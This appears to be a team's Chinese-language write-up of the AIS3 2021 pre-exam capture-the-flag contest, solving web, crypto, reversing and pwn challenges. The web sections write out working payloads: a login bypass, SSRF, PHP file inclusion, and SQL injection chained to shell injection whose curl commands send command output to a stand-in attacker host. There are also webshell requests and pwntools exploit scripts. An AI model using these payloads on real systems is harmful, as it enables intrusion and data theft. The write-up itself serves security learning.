# AIS3 2021 Pre-Exam Write-up * Team name: mecn ### ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ `Business logic vulnerability` `http://quiz.ais3.org:8002/` `Server: nginx/1.17.10` 網站提供了 Flask 的程式碼,其登入認證機制有下列漏洞可以利用: 1. Python 的 `json.load()` 遇到同名屬性時,後出現者會覆蓋前出現者 2. `json.load()` 會將 `null` 解讀為 `None` 3. `dict` 的 `get()` method 在 key 不存在時會回傳 `None` ```python username = 'nobody' password = '", "password": null, "showflag": true, "dummy":"' # AIS3{/r/badUIbattles?!?!} ``` ### HaaS `SSRF` `http://quiz.ais3.org:7122/` `Server: Werkzeug/2.0.0 Python/3.9.4` 如果`url`回應的 HTTP Status Code(`actual`) 等於POST的`status`參數 (`expected`), HaaS 只會簡單回應`"Alive"`; 如果`actual`不等於`expected`, HaaS 則會在 JSON 中附上`detail`並將 response 放在`text`。 `localhost`和`127.0.0.1`都被列在黑名單中,但`127.1.2.3`等等就沒被擋掉。 `status`在HTML裡是hidden input,可以用Web Developer Tool將其改成`200`以外的值。 POST Entity Body: `url=http%3A%2F%2F127.0.0.2%2F&status=300` `AIS3{V3rY_v3rY_V3ry_345Y_55rF}` ### 【5/22 重要公告】 `Injection` `http://quiz.ais3.org:8001/` `Server: Apache/2.4.38 (Debian)` 觀察 API 網址,發現`module`參數中有斜線`/`。嘗試不同網址,推測是`include`另一個檔案: ``` http://quiz.ais3.org:8001/?module=./modules/api http://quiz.ais3.org:8001/?module=modules/../modules/api http://quiz.ais3.org:8001/?module=/var/www/html/modules/api http://quiz.ais3.org:8001/index.php?module=file:///var/www/html/modules/api http://quiz.ais3.org:8001/?module=index (500) http://quiz.ais3.org:8001/modules/ (403) http://quiz.ais3.org:8001/modules/api.php (500) ``` 參考 [Exploiting PHP File Inclusion](https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/),可以利用`require`讀取任意PHP檔的Source Code: ``` http://quiz.ais3.org:8001/index.php?module= php://filter/convert.base64-encode/resource=modules/api ``` 閱讀 Source Code,發現`modules/api.php`中有 SQL Indection 與 Shell Injection 可以利用: ```php $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true); $host = str_replace(' ', '', $data['host']); $port = (int) $data['port']; $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE; echo json_encode($data); ``` 可以用 SQL 的`UNION SELECT`來覆寫`$data['host']`與`$data['port']`: ``` id=9 UNION SELECT 'WCM','quiz.ais3.org',8001 http://quiz.ais3.org:8001/index.php?module=modules/api&id= 9%20UNION%20SELECT%20%27WCM%27,%27quiz.ais3.org%27,8001 ``` Shell裡`${IFS}`的預設值是空白字元,可以用來繞過`str_replace()`,執行任意指令: ``` http://quiz.ais3.org:8001/index.php?module=modules/api&id= 9%20UNION%20SELECT%20%27WCM%27,%22 quiz.ais3.org%27\${IFS}8001;echo${IFS}%27succeeded %22,8001 ``` 用`curl`將`ls / -a`的結果發送到自己架設的 HTTP Server 上: ``` http://quiz.ais3.org:8001/index.php?module=modules/api&id= 9%20UNION%20SELECT%20%27WCM%27,%22 quiz.ais3.org%27${IFS}8001; curl${IFS}http://attackerserver.example/? `ls${IFS}/${IFS}-a|base64${IFS}-w${IFS}0`; echo${IFS}%27succeeded %22,8001 ``` 找到檔案`flag_81c015863174cd0c14034cc60767c7f5`,`cat`其內容: ``` http://quiz.ais3.org:8001/index.php?module=modules/api&id= 9%20UNION%20SELECT%20%27WCM%27,%22 quiz.ais3.org%27${IFS}8001; curl${IFS}http://attackerserver.example/? `cat${IFS}/flag_81c015863174cd0c14034cc60767c7f5|base64${IFS}-w${IFS}0`; echo${IFS}%27succeeded %22,8001 QUlTM3tvMWRfc2tldzFfdzNiX3RyMWNrc19jbzExZWN0MTBuXzpEfQo= AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D} ``` ### Microchip `microchip.cpp`是套用`python.h`後以 Python 語法撰寫的程式。 移除行尾的`){`和`;}`,並將`꞉`(U+A789) 取代為`:` (U+003A) 後,即為 Python Script。 `track()`是每4字元為一個 Block、附 Padding 的 Vigenère cipher。 已知第一個 Block 的明文為`AIS3`,則可直接回推出`keys`。 ```python def decrypt(plain, cipher): keys = list() keys.append((ord(cipher[3]) - ord(plain[0]) + 96) % 96) keys.append((ord(cipher[2]) - ord(plain[1]) + 96) % 96) keys.append((ord(cipher[1]) - ord(plain[2]) + 96) % 96) keys.append((ord(cipher[0]) - ord(plain[3]) + 96) % 96) id = 0 for i in range(4) : id *= 96 id += keys[3-i] print("key =", id) # id == 9653253 result = "" for i in range(0, len(cipher), 4): nums = list() for j in range(4) : num = ord(cipher[i + (3-j)]) - 32 num = (num - keys[j] + 96) % 96 nums.append(num + 32) result += chr(nums[0]) result += chr(nums[1]) result += chr(nums[2]) result += chr(nums[3]) result = result[:-int(result[-1])] return result golden = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu" print("flag is:", decrypt("AIS3", golden)) # AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0} ``` ### ReSident evil villAge 用戶可以對`bytes_to_long(b'Ethan Winters')'`以外、小於`n`的任意明文簽章。 利用 $a^d\times b^d=(a\times b)^d\pmod{n}$ 的性質, 將合數`bytes_to_long(b'Ethan Winters')'`作因式分解,各自簽章後再相乘起來, 即可得到`Ethan Winters`的簽章。 ```python from pwn import * from Crypto.Util.number import * from sympy.ntheory import factorint from binascii import hexlify p = remote('quiz.ais3.org', 42069) p.recvuntil('n = ') n = int(p.recvline(keepends=False).decode()) p.recvuntil('e = ') e = int(p.recvline(keepends=False).decode()) p.recvuntil('3) exit\n') golden = b'Ethan Winters' factors = factorint(bytes_to_long(golden)) # 5502769663009776377079720669811 == 163 * 33759323085949548325642458097 sigs = {} for factor in factors.keys(): p.sendline('1') p.recvuntil('Name (in hex): ') p.sendline(hexlify(long_to_bytes(factor))) p.recvuntil('Signature: ') sigs[factor] = int(p.recvline(keepends=False).decode()) p.recvuntil('3) exit\n') sig = 1 for factor in factors.items(): for _ in range(factor[1]): sig *= sigs[factor[0]] sig %= n print(sig) p.sendline('2') p.recvuntil('Signature: ') p.sendline(str(sig)) print(p.recvline().decode()) p.recvuntil('3) exit\n') p.sendline('3') p.close() # AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9} ``` ### Republic of South Africa 將`keygen()`的參數`digits`改小為`7`, 發現碰撞模擬的結果`count`會精確等於`3141592`,是圓周率取`7`位數字並無條件捨去。 猜測執行`keygen(153)`時,`count`會精確等於圓周率取`153`位數字並無條件捨去。 知道`count == p + q`及`n == p * q`,便可以解`q - p = (count**2-n*4) ** 0.5`。 ```python from Crypto.Util.number import * from Crypto.PublicKey import RSA import gmpy2 gmpy2.get_context().precision = 1024 def keygen(digits): count = 3141592653589793238462643383279502884197169399375105820974944592 3078164062862089986280348253421170679821480865132823066470938446 0955058223172535940812848 assert(10**(digits-1) <= count < 10**digits) n = 2366227031150360252921146262866397337765103505522133718654765966 6520360329842954292759496973737109678655075242892199643594552737 0983933085995930568283937733276398096445706184727813385858025149 3981238799952316460602566237930014315910323903986283315203419553 5186138249963826772564309026532268561022599227047 print('Lbound', count//3) print('Rbound', count//2) q_p = int(gmpy2.exp(gmpy2.log(count**2-n*4)/2)) assert(q_p**2 == count**2-n*4) q = (count + q_p) // 2 p = count - q assert(isPrime(p) and isPrime(q) and p*q == n) return p, q p, q = keygen(153) n = p*q e = 65537 d = inverse(e, (p-1)*(q-1)) c = 1145861542753625269806564358670685051505508043234389381839861001 0478579108516179388166781637371605857508073447120074461777733767 8243306626103301211742032472728606279221717932348186037287932938 4771327804999605875452715915825108399593360033548239402409566641 1743953262490304176144151437205651312338816540536 print('m =', long_to_bytes(pow(c, d, n)).decode()) # AIS3{https://www.youtube.com/watch?v=jsYwFizhncE} ``` ### Microchart `RNG`的 initial state 即為 flag,`recurrence`是未知的 64 Bytes 參數。 `get_byte()`的輸出是`state`與`recurrence`的內積`mod 256`,也是`state`的下一個`byte`。 亦即一個 random sequence 的前 64 bytes 正是產生第 65 個 byte 時的`state`。 可以解線性方程,從 random sequence 反推`recurrence`: $$\begin{bmatrix} s_0&s_1&...&s_{63}\\s_1&s_2&...&s_{64}\\ \vdots&\vdots&\ddots&\vdots\\s_{1553}&s_{1554}&...&s_{1616} \end{bmatrix}\begin{bmatrix} r_0\\r_1\\\vdots\\r_{63}\\ \end{bmatrix}=\begin{bmatrix} s_{64}\\s_{65}\\\vdots\\s_{1617}\\ \end{bmatrix}\pmod{256}$$ 其中一種可能的策略是以 $x=A^{-1}b$ 解 $Ax=b$。 `numpy.linalg.inv()`可以快速解64階方陣的 inverse,卻不是 modular inverse。 `sympy.Matrix().inv_mod()`能解64階方陣的 modular inverse,卻不能在合理時間內解出。 因此改實做輾轉相除法與高斯消去法,從 random sequence 中取 200 條等式解`recurrence`: ```python input_file = open('input.txt', 'r') data_file = open('data.txt', 'r', newline='\r\n') output_file = open('microchart.osu', 'r') input_file.readline(); input_file.readline() # bpm offset notes_lines = output_file.readlines()[len(data_file.readlines()):] rand_seq = list(map(lambda line: int(line.split(',')[0]) // 2, notes_lines)) pool = list(map(lambda i: rand_seq[i:i+65], list(range(len(rand_seq)-65)))) pool = pool[:200] def euclidean(A, B, t): assert 0 <= t < len(A) == len(B) while A[t]>0 and B[t]>0: if A[t] < B[t]: C, B = B, A; A = C q = A[t] // B[t] for i in range(len(A)): A[i] = (A[i] - q * B[i]) % 256 if A[t] == 0: C, B = B, A; A = C return A, B for t in range(64): for i in range(len(pool)): if sum(pool[i][:t]) != 0: continue print(t, i, end=" ", flush=True) for j in range(i+1, len(pool)): if sum(pool[j][:t]) != 0 or sum(pool[j]) == 0: continue pool[i], pool[j] = euclidean(pool[i], pool[j], t) print() pool = list(filter(lambda x: sum(x)>0, pool)) assert(len(pool) == 64) for t in range(63, -1, -1): i = len(pool)-64+t assert(sum(pool[i][:t]) == 0 and pool[i][t] == 1) for j in range(i-1, len(pool)-1-64, -1): q = pool[j][t] for k in range(len(pool[j])): pool[j][k] = (pool[j][k] - q * pool[i][k]) % 256 rec = list(map(lambda x: x[64], pool)) assert(rec[0] % 2 == 1) ``` 只要 $gcd(r_0,256)=1$,就可以從`state`逆推回 flag: $$ s_0 = r_0^{-1}(s_{64}-s_{63}r_{63}-s_{62}r_{62}-...-s_1r_1)\pmod{256} $$ ```python from Crypto.Util.number import inverse rec = \ [73, 172, 73, 31, 88, 236, 228, 92, 47, 98, 103, 55, 88, 107, 199, 30, 81, 113, 96, 13, 240, 75, 148, 3, 38, 223, 191, 236, 94, 32, 200, 143, 59, 68, 83, 158, 184, 142, 30, 21, 32, 85, 104, 112, 91, 89, 112, 209, 174, 245, 152, 237, 118, 132, 210, 113, 168, 128, 80, 65, 68, 33, 92, 91] def chk65(L): global rec assert(len(L) == 65) byte = 0 for i in range(64): byte = (byte + L[i] * rec[i]) % 256 assert(byte == L[64]) for t in range(len(rand_seq)-65): chk65(rand_seq[t:t+65]) state = rand_seq[0:64] for _ in range(64): byte = state[63] for i in range(63): byte = (byte - state[i] * rec[i+1]) % 256 state = [byte * inverse(rec[0],256) % 256] + state[:63] print(''.join(map(chr,state))) # AIS3{nooo_you_cant_just_break_my_microchip!_haha_math_goes_brrr} ``` ### Microchess (Solved After End of Exam) `digest()`的漏洞是直接把最後的`state`當作 hash 回傳, 因此可以在`message`的後方再接上任意數量的 block。 手動遊玩遊戲讓`game_str`的長度變成8的倍數(例如`1,2,8,11`或`10,18,24`), 再在後方接上`,1`改成玩家必勝遊戲。 ```python import myhash hash = myhash.Hash() game_str, digest = input().split(':') assert(len(game_str) % 8 == 0 and len(digest) == 16) hash.secret = int(digest, 16) print(game_str+',1:' + hash.hexdigest(b',1\x00\x00\x00\x00\x00\x00')) # AIS3{1._e4_e5_2._Qh5_Ke7_3._Qxe5#_1-0} ``` ### Piano 在 Windows 使用`ildsam`反組譯`piano.dll`,得到 .NET中繼語言(IL)。 輸出 flag 的邏輯可以用下列 Python 程式碼表示: ```python class Piano(): def __init__(self): self.buttons = ['C', 'D', 'E', 'F', 'G', 'A', 'B', 'CSharp', 'DSharp', 'FSharp', 'GSharp', 'ASharp'] self.notes = [] # 7,7,10,10,11,11,10,9,9,3,3,8,8,7 def onClickHandler(self, e): V_0 = e self.notes.append(self.buttons.index(V_0)) if len(self.notes) != 14: return if self.isValid(): print(self.nya()) self.notes.pop() def isValid(self): V_0 = [14,17,20,21,22,21,19,18,12, 6,11,16,15,14] V_1 = [ 0,-3, 0,-1, 0, 1, 1, 0, 6, 0,-5, 0, 1, 0] V_2 = 0 while V_2 < 14: if self.notes[V_2] + self.notes[(V_2+1)%14] != V_0[V_2]: return False if self.notes[V_2] - self.notes[(V_2+1)%14] != V_1[V_2]: return False V_2 = V_2 + 1 return True def nya(self): V_0 = [70,78,89,57,112,60,125,96,103,104,50,109,87,115,112,54, 100,97,103,56,85,101,56,119,119,100,59,88,50,48,62,120, 84,58,100,86,74,92,54,96,60,117,119,122] V_1 = [] V_2 = 0 while V_2 < len(V_0): V_1.append(chr(V_0[V_2] ^ self.notes[V_2%len(self.notes)])) V_2 = V_2 + 1 return ''.join(V_1) piano = Piano() for btn in ['CSharp','CSharp','GSharp','GSharp','ASharp','ASharp','GSharp', 'FSharp','FSharp','F','F','DSharp','DSharp','CSharp']: piano.onClickHandler(btn) # AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp} ``` ### 🐰 Peekora 🥒 使用`pickletools`反組譯`flag_checker.pkl`。 ```python import pickletools with open('flag_checker.pkl', 'rb') as f: peekora = f.read() pickletools.dis(peekora, indentlevel=2, annotate=1) f.close() ``` 手動將其還原回Python Script。 ```python m0 = input('FLAG: ') m1 = getattr m2 = m1([exit, str], '__getitem__') m2(m1(m0, 'startswith')('AIS3{'))() m2(m1(m0, 'endswith')('}'))() m2(m1(m1(m0, '__getitem__')(6), '__eq__')('A'))() m2(m1(m1(m0, '__getitem__')(9), '__eq__')('j'))() m3 = m1(m0, '__getitem__')(9) m2(m1(m1(m0, '__getitem__')(11), '__eq__')('p'))() m2(m1(m1(m0, '__getitem__')(14), '__eq__')(m3))() m4 = m1(m0, '__getitem__')(1) m2(m1(m1(m0, '__getitem__')(5), '__eq__')('d'))() m2(m1(m1(m0, '__getitem__')(10), '__eq__')('z'))() m2(m1(m1(m0, '__getitem__')(12), '__eq__')('h'))() m2(m1(m4, '__eq__')(m1(m0, '__getitem__')(13)))() m2(m1(m1(m0, '__getitem__')(8), '__eq__')('w'))() m2(m1(m1(m0, '__getitem__')(7), '__eq__')('m'))() print('Correct!') # AIS3{dAmwjzphIj} ``` ### COLORS `_0x3eb4`是個順序被打亂的大陣列, `function(_0x496f79, _0x226742)`負責復原`_0x3eb4`的順序, `_0x4ebd`,`_0x463eac`,`_0x1cd51f`,`_0x9fe181`,`_0x12b963`是從`_0x3eb4`中取值的函數。 將`_0x3eb4`中的字串、屬性、參數填回原位後, 發現`document['addEventListener']('keydown',_0x23e75c => {...})` 在接收到按鍵次序`↑ ↑ ↓ ↓ ← → ← → b a`後,會在`<body>`裡寫入一個`<div>`, 同時啟動往`document.getElementById('input')`輸入文字的功能。 `_0x1fdafa()`負責更新`document.getElementById('output')`的內容。 `_0xce93()`將`document.getElementById('input')`中的字串進行Base1024轉換, 並分拆成3位元的`c`、1位元的`r`、64取1的字元,透過`_0x9f530c()`轉換成`<span>`。 設計一個對應`_0xce93()`的 decoder,將起初畫面上的 "encoded" flag 解碼回 flag。 ```javascript const golden = [ "40B","20g","30i","51J","606","01\\","30w","401", "30A","41j","40\\","411","30g","70u","30i","10k", "30l","407","60x","50i","50X","10K","10I","40h", "50X","00K","41i","51l","706","70f","40o","106", "505","70K","11n","518","707","41B","50-","118", "40w","31a","10r","41z","70K","30=","20=","10=" ]; function outputDecode(output) { output = output .filter(item => item[2] !== '=') .map(item => ( (parseInt(item[0], 10) << 6) + (parseInt(item[1], 10) << 9) + 'AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}' .indexOf(item[2]) ) .toString(2) .padStart(10, '0') ) .join('') .match(/(.{8})/g) .map(item => String.fromCharCode(parseInt(item, 2))) .join(''); return output } console.log(outputDecode(golden)) // AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!} ``` ### Encrypted Lost Flag (Not Solved) 輸入字串會被轉換為6階方陣,與密文方陣相乘後, 期望得到字串`How do you inverse faster pow calc!!`。 矩陣乘法進行時,計算的結果還會被 diffuse: ```cpp struct matrix { ll length; int* value; }; matrix* ______Multipy(matrix *rdi, matrix *rsi) { // 0x1420 matrix* rbp = rdi; matrix* r12 = rsi; const int ebx = di->length; matrix* r9 = Init______(ebx); if (ebx != 0) { int* r13 = r9->value; int* r11 = rbp->value; int* r10 = r12->value; for (int r8d = 0; r8d != ebx; r8d++) { for (int edi = 0; edi != ebx; edi++) { for (int ecx = 0; ecx != ebx; ecx++) { int* rsi = (int*)&r13[r9->length * r8d + ecx]; int eax = r11[rbp->length * r8d + edi] * r10[r12->length * edi + ecx] + *rsi; int edx = (((ll)eax * (ll)0x7F807F81) >> 0x27) - (eax >> 0x1F) + (eax << 0x08); *rsi = eax - edx; } } } } return r9; } ``` ### Write Me 如果`addr`亂給會導致SIGSEGV; 就算`addr`給合法的地址,但`systemgot`的值已經在`gotplt.c:10`被洗掉了,無法拿到shell。 因此,必須把linker的地址`0x401050`寫回`0x404028`。 ```python from pwn import * r = remote('quiz.ais3.org', 10102) r.recvuntil('Address: ') r.sendline(str(0x404028)) # 4210728 r.recvuntil("Value: ") r.sendline(str(0x401050)) # 4198480 r.interactive() # AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking} ``` ### Microcheese 遊戲選單的設計有bug,導致輸入`0`,`1`,`2`以外的選項可以略過自己的行動。 所以在第二回行動後反覆略過,直到電腦不得不恰留下一個pile從而必敗為止。 ``` AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3} ``` ### Blind `stdout`的 File Descriptor 被`close`了,可以呼叫`dup2(2, 1)`將`stderr`複製到 FD1。 [syscall(2) — Linux manual page](https://man7.org/linux/man-pages/man2/syscall.2.html) 查閱`<sys/syscall.h>`,得知`x86_64-linux-gnu`下`SYS_dup2`的值為`33`。 ```python from pwn import * r = remote('quiz.ais3.org', 10101) r.recvuntil('Input: [rax] [rdi] [rsi] [rdx]') r.sendline('33 2 1 0') # syscall(SYS_dup2, 2, 1, 0); print(r.recvuntil('}').decode()) r.close() # AIS3{dupppppqqqqqub} ``` ### [震撼彈] AIS3 官網疑遭駭! 觀察`release.pcap`中的封包,發現以下 Host 的存在: ``` 10.153. 0. 1: DNS Server 10.153.11.112: Client 10.153.11.126: HTTP Server ``` 在 Wireshark 中觀察 HTTP 封包。 `10.153.11.112`多次以`curl`存取`/index.php`,並以 Firefox 存取一次`/Index.php`: ``` 10.153.11.126:8100 http.request_number && frame.number != 3149 GET /index.php?page=bHMgLg%3d HTTP/1.1 frame.number == 3149 GET /Index.php?page=%3DogLgMHb HTTP/1.1 Host: magic.ais3.org frame.number == 3152 Index.php index.php ``` `http://10.153.11.126:8100/`或`http://quiz.ais3.org:8100/`皆可連到一台空的`nginx`, 但 DNS record 中沒有`magic.ais3.org`, 因此必須自行在 HTTP header 中寫入 `Host: magic.ais3.org` 以連至其他 Server Block。 觀察發現`=ogLgMHb`的反轉`bHMgLgo=`是`ls .\n`的 Base64 編碼, frame #3152 的 response 是`ls .\n`的 output。 執行指令,在根目錄下尋找 flag: ``` // "ls /\n" GET /Index.php?page=%3D%3DwLgMHb HTTP/1.1 flag_c603222fc7a23ee4ae2d59c8eb2ba84d // "cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d\n" GET /Index.php?page=%3D%3DgCkRDOhJmMiVGOjlTNkJTZhRTZlNjMhdzYmJjMyMDM 2M2XnFGbm9CI0F2Y HTTP/1.1 AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!} ``` ### Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi [[閒聊] 暮蟬悲鳴時 業 24](https://www.ptt.cc/bbs/C_Chat/M.1616086432.A.7EA.html) 每次連線都可以猜一次密碼。 密碼有13位數,只要輸錯一位就會馬上鎖起來,輸對了才能繼續輸入下一位數字。 最壞的情況下必須猜130次,可以手動猜或用pwntools自動猜。 ```python from pwn import * password = '' while len(password) < 13: for digit in range(10): p = process('TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org', shell=True, stdin=PTY) guess = f'{password}{digit}' p.send(guess) r = p.recvuntil('🔒LOCKED🔒', timeout=5) p.close() print(guess) if r == b'': # 如果鍵入密碼的5秒後仍未出現🔒LOCKED🔒 password = guess break print('password:', password) # 2025830455298 # AIS3{H1n4m1z4w4_Sh0k0gun} ```